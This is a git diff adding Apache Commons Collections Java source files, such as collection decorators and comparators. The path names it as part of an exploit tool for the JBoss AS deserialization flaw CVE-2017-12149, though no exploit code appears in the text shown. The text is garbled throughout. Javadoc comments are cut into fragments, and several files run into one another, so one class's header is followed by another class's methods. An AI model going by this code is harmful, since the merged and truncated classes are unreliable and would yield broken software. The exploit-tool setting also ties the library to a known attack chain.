+ * @return an array of all the elements in the collection
+ */
+ public Object[] toArray(Object[] array) {
+ int size = this.size();
+ Object[] result = null;
+ if (array.length >= size) {
+ result = array;
+ }
+ else {
+ result = (Object[]) Array.newInstance(array.getClass().getComponentType(), size);
+ }
+
+ int offset = 0;
+ for (int i = 0; i < this.all.length; ++i) {
+ for (Iterator it = this.all[i].iterator(); it.hasNext();) {
+ result[offset++] = it.next();
+ }
+ }
+ if (result.length > size) {
+ result[size] = null;
+ }
+ return result;
+ }
+
+ /**
+ * Adds an object to the collection, throwing UnsupportedOperationException
+ * unless a CollectionMutator strategy is specified.
+ *
+ * @param obj the object to add
+ * @return true if the collection was modified
+ * @throws UnsupportedOperationException if CollectionMutator hasn't been set
+ * @throws UnsupportedOperationException if add is unsupported
+ * @throws ClassCastException if the object cannot be added due to its type
+ * @throws NullPointerException if the object cannot be added because its null
+ * @throws IllegalArgumentException if the object cannot be added
+ */
+ public boolean add(Object obj) {
+ if (this.mutator == null) {
+ throw new UnsupportedOperationException(
+ "add() is not supported on CompositeCollection without a CollectionMutator strategy");
+ }
+ return this.mutator.add(this, this.all, obj);
+ }
+
+ /**
+ * Removes an object from the collection, throwing UnsupportedOperationException
+ * unless a CollectionMutator strategy is specified.
+ *
+ * @param obj the object being removed
+ * @return true if the collection is changed
+ * @throws UnsupportedOperationException if removed is unsupported
+ * @throws ClassCastException if the object cannot be removed due to its type
+ * @throws NullPointerException if the object cannot be removed because its null
+ * @throws IllegalArgumentException if the object cannot be removed
+ */
+ public boolean remove(Object obj) {
+ if (this.mutator == null) {
+ throw new UnsupportedOperationException(
+ "remove() is not supported on CompositeCollection without a CollectionMutator strategy");
+ }
+ return this.mutator.remove(this, this.all, obj);
+ }
+
+ /**
+ * Checks whether this composite contains all the elements in the specified collection.
+ * contains()
for each element in the
+ * specified collection.
+ *
+ * @param coll the collection to check for
+ * @return true if all elements contained
+ */
+ public boolean containsAll(Collection coll) {
+ for (Iterator it = coll.iterator(); it.hasNext();) {
+ if (this.contains(it.next()) == false) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Adds a collection of elements to this collection, throwing
+ * UnsupportedOperationException unless a CollectionMutator strategy is specified.
+ *
+ * @param coll the collection to add
+ * @return true if the collection was modified
+ * @throws UnsupportedOperationException if CollectionMutator hasn't been set
+ * @throws UnsupportedOperationException if add is unsupported
+ * @throws ClassCastException if the object cannot be added due to its type
+ * @throws NullPointerException if the object cannot be added because its null
+ * @throws IllegalArgumentException if the object cannot be added
+ */
+ public boolean addAll(Collection coll) {
+ if (this.mutator == null) {
+ throw new UnsupportedOperationException(
+ "addAll() is not supported on CompositeCollection without a CollectionMutator strategy");
+ }
+ return this.mutator.addAll(this, this.all, coll);
+ }
+
+ /**
+ * Removes the elements in the specified collection from this composite collection.
+ * removeAll
on each collection.
+ *
+ * @param coll the collection to remove
+ * @return true if the collection was modified
+ * @throws UnsupportedOperationException if removeAll is unsupported
+ */
+ public boolean removeAll(Collection coll) {
+ if (coll.size() == 0) {
+ return false;
+ }
+ boolean changed = false;
+ for (int i = this.all.length - 1; i >= 0; i--) {
+ changed = (this.all[i].removeAll(coll) || changed);
+ }
+ return changed;
+ }
+
+ /**
+ * Retains all the elements in the specified collection in this composite collection,
+ * removing all others.
+ * retainAll()
on each collection.
+ *
+ * @param coll the collection to remove
+ * @return true if the collection was modified
+ * @throws UnsupportedOperationException if retainAll is unsupported
+ */
+ public boolean retainAll(final Collection coll) {
+ boolean changed = false;
+ for (int i = this.all.length - 1; i >= 0; i--) {
+ changed = (this.all[i].retainAll(coll) || changed);
+ }
+ return changed;
+ }
+
+ /**
+ * Removes all of the elements from this collection .
+ * clear()
on each collection.
+ *
+ * @throws UnsupportedOperationException if clear is unsupported
+ */
+ public void clear() {
+ for (int i = 0; i < this.all.length; ++i) {
+ this.all[i].clear();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Specify a CollectionMutator strategy instance to handle changes.
+ *
+ * @param mutator the mutator to use
+ */
+ public void setMutator(CollectionMutator mutator) {
+ this.mutator = mutator;
+ }
+
+ /**
+ * Add these Collections to the list of collections in this composite
+ *
+ * @param comps Collections to be appended to the composite
+ */
+ public void addComposited(Collection[] comps) {
+ ArrayList list = new ArrayList(Arrays.asList(this.all));
+ list.addAll(Arrays.asList(comps));
+ all = (Collection[]) list.toArray(new Collection[list.size()]);
+ }
+
+ /**
+ * Add an additional collection to this composite.
+ *
+ * @param c the collection to add
+ */
+ public void addComposited(Collection c) {
+ this.addComposited(new Collection[]{c});
+ }
+
+ /**
+ * Add two additional collections to this composite.
+ *
+ * @param c the first collection to add
+ * @param d the second collection to add
+ */
+ public void addComposited(Collection c, Collection d) {
+ this.addComposited(new Collection[]{c, d});
+ }
+
+ /**
+ * Removes a collection from the those being decorated in this composite.
+ *
+ * @param coll collection to be removed
+ */
+ public void removeComposited(Collection coll) {
+ ArrayList list = new ArrayList(this.all.length);
+ list.addAll(Arrays.asList(this.all));
+ list.remove(coll);
+ this.all = (Collection[]) list.toArray(new Collection[list.size()]);
+ }
+
+ /**
+ * Returns a new collection containing all of the elements
+ *
+ * @return A new ArrayList containing all of the elements in this composite.
+ * The new collection is not backed by this composite.
+ */
+ public Collection toCollection() {
+ return new ArrayList(this);
+ }
+
+ /**
+ * Gets the collections being decorated.
+ *
+ * @return Unmodifiable collection of all collections in this composite.
+ */
+ public Collection getCollections() {
+ return UnmodifiableList.decorate(Arrays.asList(this.all));
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Pluggable strategy to handle changes to the composite.
+ */
+ public interface CollectionMutator {
+
+ /**
+ * Called when an object is to be added to the composite.
+ *
+ * @param composite the CompositeCollection being changed
+ * @param collections all of the Collection instances in this CompositeCollection
+ * @param obj the object being added
+ * @return true if the collection is changed
+ * @throws UnsupportedOperationException if add is unsupported
+ * @throws ClassCastException if the object cannot be added due to its type
+ * @throws NullPointerException if the object cannot be added because its null
+ * @throws IllegalArgumentException if the object cannot be added
+ */
+ public boolean add(CompositeCollection composite, Collection[] collections, Object obj);
+
+ /**
+ * Called when a collection is to be added to the composite.
+ *
+ * @param composite the CompositeCollection being changed
+ * @param collections all of the Collection instances in this CompositeCollection
+ * @param coll the collection being added
+ * @return true if the collection is changed
+ * @throws UnsupportedOperationException if add is unsupported
+ * @throws ClassCastException if the object cannot be added due to its type
+ * @throws NullPointerException if the object cannot be added because its null
+ * @throws IllegalArgumentException if the object cannot be added
+ */
+ public boolean addAll(CompositeCollection composite, Collection[] collections, Collection coll);
+
+ /**
+ * Called when an object is to be removed to the composite.
+ *
+ * @param composite the CompositeCollection being changed
+ * @param collections all of the Collection instances in this CompositeCollection
+ * @param obj the object being removed
+ * @return true if the collection is changed
+ * @throws UnsupportedOperationException if removed is unsupported
+ * @throws ClassCastException if the object cannot be removed due to its type
+ * @throws NullPointerException if the object cannot be removed because its null
+ * @throws IllegalArgumentException if the object cannot be removed
+ */
+ public boolean remove(CompositeCollection composite, Collection[] collections, Object obj);
+
+ }
+
+}
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/PredicatedCollection.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/PredicatedCollection.java"
new file mode 100644
index 0000000..ba160f9
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/PredicatedCollection.java"
@@ -0,0 +1,134 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.collection;
+
+import java.util.Collection;
+import java.util.Iterator;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Decorates another Collection
to validate that additions
+ * match a specified predicate.
+ * Collection coll = PredicatedCollection.decorate(new ArrayList(), NotNullPredicate.INSTANCE);
+ * Collection
to synchronize its behaviour
+ * for a multi-threaded environment.
+ *
+ * synchronized (coll) {
+ * Iterator it = coll.iterator();
+ * // do stuff with iterator
+ * }
+ *
+ *
+ * synchronized (coll) {
+ * Iterator it = coll.iterator();
+ * // do stuff with iterator
+ * }
+ *
+ * @return an iterator that must be manually synchronized on the collection
+ */
+ public Iterator iterator() {
+ return collection.iterator();
+ }
+
+ public Object[] toArray() {
+ synchronized (lock) {
+ return collection.toArray();
+ }
+ }
+
+ public Object[] toArray(Object[] object) {
+ synchronized (lock) {
+ return collection.toArray(object);
+ }
+ }
+
+ public boolean remove(Object object) {
+ synchronized (lock) {
+ return collection.remove(object);
+ }
+ }
+
+ public boolean removeAll(Collection coll) {
+ synchronized (lock) {
+ return collection.removeAll(coll);
+ }
+ }
+
+ public boolean retainAll(Collection coll) {
+ synchronized (lock) {
+ return collection.retainAll(coll);
+ }
+ }
+
+ public int size() {
+ synchronized (lock) {
+ return collection.size();
+ }
+ }
+
+ public boolean equals(Object object) {
+ synchronized (lock) {
+ if (object == this) {
+ return true;
+ }
+ return collection.equals(object);
+ }
+ }
+
+ public int hashCode() {
+ synchronized (lock) {
+ return collection.hashCode();
+ }
+ }
+
+ public String toString() {
+ synchronized (lock) {
+ return collection.toString();
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/TransformedCollection.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/TransformedCollection.java"
new file mode 100644
index 0000000..ea4ac50
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/TransformedCollection.java"
@@ -0,0 +1,121 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.collection;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Decorates another
Collection
to transform objects that are added.
+ * Collection
to validate that elements added are of a specific type.
+ * Class
. If an object cannot be added to the
+ * collection, an IllegalArgumentException is thrown.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/15 12:39:13 $
+ *
+ * @author Stephen Colebourne
+ * @author Matthew Hawthorne
+ */
+public class TypedCollection {
+
+ /**
+ * Factory method to create a typed collection.
+ * UnmodifiableBoundedCollection
decorates another
+ * BoundedCollection
to ensure it can't be altered.
+ * BoundedCollection
to decorate, must not be null
+ * @return a new unmodifiable bounded collection
+ * @throws IllegalArgumentException if bag is null
+ */
+ public static BoundedCollection decorate(BoundedCollection coll) {
+ return new UnmodifiableBoundedCollection(coll);
+ }
+
+ /**
+ * Factory method to create an unmodifiable bounded collection.
+ * BoundedCollection
to decorate, must not be null
+ * @return a new unmodifiable bounded collection
+ * @throws IllegalArgumentException if bag is null
+ */
+ public static BoundedCollection decorateUsing(Collection coll) {
+ if (coll == null) {
+ throw new IllegalArgumentException("The collection must not be null");
+ }
+
+ // handle decorators
+ for (int i = 0; i < 1000; i++) { // counter to prevent infinite looping
+ if (coll instanceof BoundedCollection) {
+ break; // normal loop exit
+ } else if (coll instanceof AbstractCollectionDecorator) {
+ coll = ((AbstractCollectionDecorator) coll).collection;
+ } else if (coll instanceof SynchronizedCollection) {
+ coll = ((SynchronizedCollection) coll).collection;
+ } else {
+ break; // normal loop exit
+ }
+ }
+
+ if (coll instanceof BoundedCollection == false) {
+ throw new IllegalArgumentException("The collection is not a bounded collection");
+ }
+ return new UnmodifiableBoundedCollection((BoundedCollection) coll);
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param coll the collection to decorate, must not be null
+ * @throws IllegalArgumentException if coll is null
+ */
+ private UnmodifiableBoundedCollection(BoundedCollection coll) {
+ super(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ public Iterator iterator() {
+ return UnmodifiableIterator.decorate(getCollection().iterator());
+ }
+
+ public boolean add(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean removeAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean retainAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean isFull() {
+ return ((BoundedCollection) collection).isFull();
+ }
+
+ public int maxSize() {
+ return ((BoundedCollection) collection).maxSize();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/UnmodifiableCollection.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/UnmodifiableCollection.java"
new file mode 100644
index 0000000..8339100
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/UnmodifiableCollection.java"
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.collection;
+
+import java.util.Collection;
+import java.util.Iterator;
+
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.iterators.UnmodifiableIterator;
+
+/**
+ * Decorates another Collection
to ensure it can't be altered.
+ *
+
+The following decorators are provided in the package:
+
+
+
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/BooleanComparator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/BooleanComparator.java"
new file mode 100644
index 0000000..3410972
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/BooleanComparator.java"
@@ -0,0 +1,205 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.comparators;
+
+import java.io.Serializable;
+import java.util.Comparator;
+
+/**
+ * A {@link Comparator} for {@link Boolean} objects that can sort either
+ * true or false first.
+ * true
iff true
values sort before false
values. */
+ private boolean trueFirst = false;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a BooleanComparator instance that sorts
+ * true
values before false
values.
+ * false
values before true
values.
+ *
+ * Clients are encouraged to use the value returned from
+ * this method instead of constructing a new instance
+ * to reduce allocation and garbage collection overhead when
+ * multiple BooleanComparators may be used in the same
+ * virtual machine.
+ *
+ * @return the false first singleton BooleanComparator
+ */
+ public static BooleanComparator getFalseFirstComparator() {
+ return FALSE_FIRST;
+ }
+
+ /**
+ * Returns a BooleanComparator instance that sorts
+ * trueFirst
values before
+ * !trueFirst
values.
+ *
+ * Clients are encouraged to use the value returned from
+ * this method instead of constructing a new instance
+ * to reduce allocation and garbage collection overhead when
+ * multiple BooleanComparators may be used in the same
+ * virtual machine.
+ *
+ * @param trueFirst when true
, sort
+ * true
Boolean
s before false
+ * @return a singleton BooleanComparator instance
+ */
+ public static BooleanComparator getBooleanComparator(boolean trueFirst) {
+ return trueFirst ? TRUE_FIRST : FALSE_FIRST;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Creates a BooleanComparator
that sorts
+ * false
values before true
values.
+ * BooleanComparator
that sorts
+ * trueFirst
values before
+ * !trueFirst
values.
+ * true
, sort
+ * true
boolean values before false
+ */
+ public BooleanComparator(boolean trueFirst) {
+ this.trueFirst = trueFirst;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Compares two arbitrary Objects.
+ * When both arguments are Boolean
, this method is equivalent to
+ * {@link #compare(Boolean,Boolean) compare((Boolean)obj1,(Boolean)obj2)}.
+ * When either argument is not a Boolean
, this methods throws
+ * a {@link ClassCastException}.
+ *
+ * @param obj1 the first object to compare
+ * @param obj2 the second object to compare
+ * @return negative if obj1 is less, positive if greater, zero if equal
+ * @throws ClassCastException when either argument is not Boolean
+ */
+ public int compare(Object obj1, Object obj2) {
+ return compare((Boolean)obj1, (Boolean)obj2);
+ }
+
+ /**
+ * Compares two non-null
Boolean
objects
+ * according to the value of {@link #trueFirst}.
+ *
+ * @param b1 the first boolean to compare
+ * @param b2 the second boolean to compare
+ * @return negative if obj1 is less, positive if greater, zero if equal
+ * @throws NullPointerException when either argument null
+ */
+ public int compare(Boolean b1, Boolean b2) {
+ boolean v1 = b1.booleanValue();
+ boolean v2 = b2.booleanValue();
+
+ return (v1 ^ v2) ? ( (v1 ^ trueFirst) ? 1 : -1 ) : 0;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Implement a hash code for this comparator that is consistent with
+ * {@link #equals(Object) equals}.
+ *
+ * @return a hash code for this comparator.
+ */
+ public int hashCode() {
+ int hash = "BooleanComparator".hashCode();
+ return trueFirst ? -1 * hash : hash;
+ }
+
+ /**
+ * Returns true
iff that Object is
+ * is a {@link Comparator} whose ordering is known to be
+ * equivalent to mine.
+ * true
+ * iff that
is a {@link BooleanComparator}
+ * whose {@link #trueFirst} value is equal to mine.
+ *
+ * @param object the object to compare to
+ * @return true if equal
+ */
+ public boolean equals(Object object) {
+ return (this == object) ||
+ ((object instanceof BooleanComparator) &&
+ (this.trueFirst == ((BooleanComparator)object).trueFirst));
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns true
iff
+ * I sort true
values before
+ * false
values. In other words,
+ * returns true
iff
+ * {@link #compare(Boolean,Boolean) compare(Boolean.FALSE,Boolean.TRUE)}
+ * returns a positive value.
+ *
+ * @return the trueFirst flag
+ */
+ public boolean sortsTrueFirst() {
+ return trueFirst;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ComparableComparator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ComparableComparator.java"
new file mode 100644
index 0000000..32cffcb
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ComparableComparator.java"
@@ -0,0 +1,126 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.comparators;
+
+import java.io.Serializable;
+import java.util.Comparator;
+
+/**
+ * A {@link Comparator Comparator} that compares
+ * {@link Comparable Comparable} objects.
+ * null
, not {@link Comparable Comparable},
+ * or for which {@link Comparable#compareTo(Object) compareTo} gave
+ * inconsistent results. This is no longer the case. See
+ * {@link #compare(Object, Object) compare} for details.
+ *
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.15 $ $Date: 2004/05/15 13:24:11 $
+ *
+ * @author Henri Yandell
+ *
+ * @see java.util.Collections#reverseOrder()
+ */
+public class ComparableComparator implements Comparator, Serializable {
+
+ /** Serialization version. */
+ private static final long serialVersionUID=-291439688585137865L;
+
+ /** The singleton instance. */
+ private static final ComparableComparator instance = new ComparableComparator();
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the singleton instance of a ComparableComparator.
+ * ((Comparable)obj1).compareTo(obj2)
+ *
+ * @param obj1 the first object to compare
+ * @param obj2 the second object to compare
+ * @return negative if obj1 is less, positive if greater, zero if equal
+ * @throws NullPointerException when obj1 is null
,
+ * or when ((Comparable)obj1).compareTo(obj2)
does
+ * @throws ClassCastException when obj1 is not a Comparable
,
+ * or when ((Comparable)obj1).compareTo(obj2)
does
+ */
+ public int compare(Object obj1, Object obj2) {
+ return ((Comparable)obj1).compareTo(obj2);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Implement a hash code for this comparator that is consistent with
+ * {@link #equals(Object) equals}.
+ *
+ * @return a hash code for this comparator.
+ * @since Commons Collections 3.0
+ */
+ public int hashCode() {
+ return "ComparableComparator".hashCode();
+ }
+
+ /**
+ * Returns true
iff that Object is
+ * is a {@link Comparator Comparator} whose ordering is
+ * known to be equivalent to mine.
+ * true
+ * iff object.{@link Object#getClass() getClass()}
+ * equals this.getClass()
.
+ * Subclasses may want to override this behavior to remain consistent
+ * with the {@link Comparator#equals(Object)} contract.
+ *
+ * @param object the object to compare with
+ * @return true if equal
+ * @since Commons Collections 3.0
+ */
+ public boolean equals(Object object) {
+ return (this == object) ||
+ ((null != object) && (object.getClass().equals(this.getClass())));
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ComparatorChain.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ComparatorChain.java"
new file mode 100644
index 0000000..aa5ce25
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ComparatorChain.java"
@@ -0,0 +1,346 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.comparators;
+
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.BitSet;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+
+/**
+ * true
iff that Object is
+ * is a {@link Comparator} whose ordering is known to be
+ * equivalent to mine.
+ * true
+ * iff object.{@link Object#getClass() getClass()}
+ * equals this.getClass()
, and the underlying
+ * comparators and order bits are equal.
+ * Subclasses may want to override this behavior to remain consistent
+ * with the {@link Comparator#equals(Object)} contract.
+ *
+ * @param object the object to compare with
+ * @return true if equal
+ * @since Commons Collections 3.0
+ */
+ public boolean equals(Object object) {
+ if(this == object) {
+ return true;
+ } else if(null == object) {
+ return false;
+ } else if(object.getClass().equals(this.getClass())) {
+ ComparatorChain chain = (ComparatorChain)object;
+ return ( (null == orderingBits ? null == chain.orderingBits : orderingBits.equals(chain.orderingBits))
+ && (null == comparatorChain ? null == chain.comparatorChain : comparatorChain.equals(chain.comparatorChain)) );
+ } else {
+ return false;
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/FixedOrderComparator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/FixedOrderComparator.java"
new file mode 100644
index 0000000..bce6ba0
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/FixedOrderComparator.java"
@@ -0,0 +1,265 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.comparators;
+
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * A Comparator which imposes a specific order on a specific set of Objects.
+ * Objects are presented to the FixedOrderComparator in a specified order and
+ * subsequent calls to {@link #compare(Object, Object) compare} yield that order.
+ * For example:
+ *
+ * String[] planets = {"Mercury", "Venus", "Earth", "Mars"};
+ * FixedOrderComparator distanceFromSun = new FixedOrderComparator(planets);
+ * Arrays.sort(planets); // Sort to alphabetical order
+ * Arrays.sort(planets, distanceFromSun); // Back to original order
+ *
+ * compare
has been called, the FixedOrderComparator is locked
+ * and attempts to modify it yield an UnsupportedOperationException.
+ * null
objects.
+ **/
+ private Comparator nonNullComparator;
+
+ /**
+ * Specifies whether a null
are compared as higher than
+ * non-null
objects.
+ **/
+ private boolean nullsAreHigh;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Construct an instance that sorts null
higher than any
+ * non-null
object it is compared with. When comparing two
+ * non-null
objects, the {@link ComparableComparator} is
+ * used.
+ **/
+ public NullComparator() {
+ this(ComparableComparator.getInstance(), true);
+ }
+
+ /**
+ * Construct an instance that sorts null
higher than any
+ * non-null
object it is compared with. When comparing two
+ * non-null
objects, the specified {@link Comparator} is
+ * used.
+ *
+ * @param nonNullComparator the comparator to use when comparing two
+ * non-null
objects. This argument cannot be
+ * null
+ *
+ * @exception NullPointerException if nonNullComparator
is
+ * null
+ **/
+ public NullComparator(Comparator nonNullComparator) {
+ this(nonNullComparator, true);
+ }
+
+ /**
+ * Construct an instance that sorts null
higher or lower than
+ * any non-null
object it is compared with. When comparing
+ * two non-null
objects, the {@link ComparableComparator} is
+ * used.
+ *
+ * @param nullsAreHigh a true
value indicates that
+ * null
should be compared as higher than a
+ * non-null
object. A false
value indicates
+ * that null
should be compared as lower than a
+ * non-null
object.
+ **/
+ public NullComparator(boolean nullsAreHigh) {
+ this(ComparableComparator.getInstance(), nullsAreHigh);
+ }
+
+ /**
+ * Construct an instance that sorts null
higher or lower than
+ * any non-null
object it is compared with. When comparing
+ * two non-null
objects, the specified {@link Comparator} is
+ * used.
+ *
+ * @param nonNullComparator the comparator to use when comparing two
+ * non-null
objects. This argument cannot be
+ * null
+ *
+ * @param nullsAreHigh a true
value indicates that
+ * null
should be compared as higher than a
+ * non-null
object. A false
value indicates
+ * that null
should be compared as lower than a
+ * non-null
object.
+ *
+ * @exception NullPointerException if nonNullComparator
is
+ * null
+ **/
+ public NullComparator(Comparator nonNullComparator, boolean nullsAreHigh) {
+ this.nonNullComparator = nonNullComparator;
+ this.nullsAreHigh = nullsAreHigh;
+
+ if(nonNullComparator == null) {
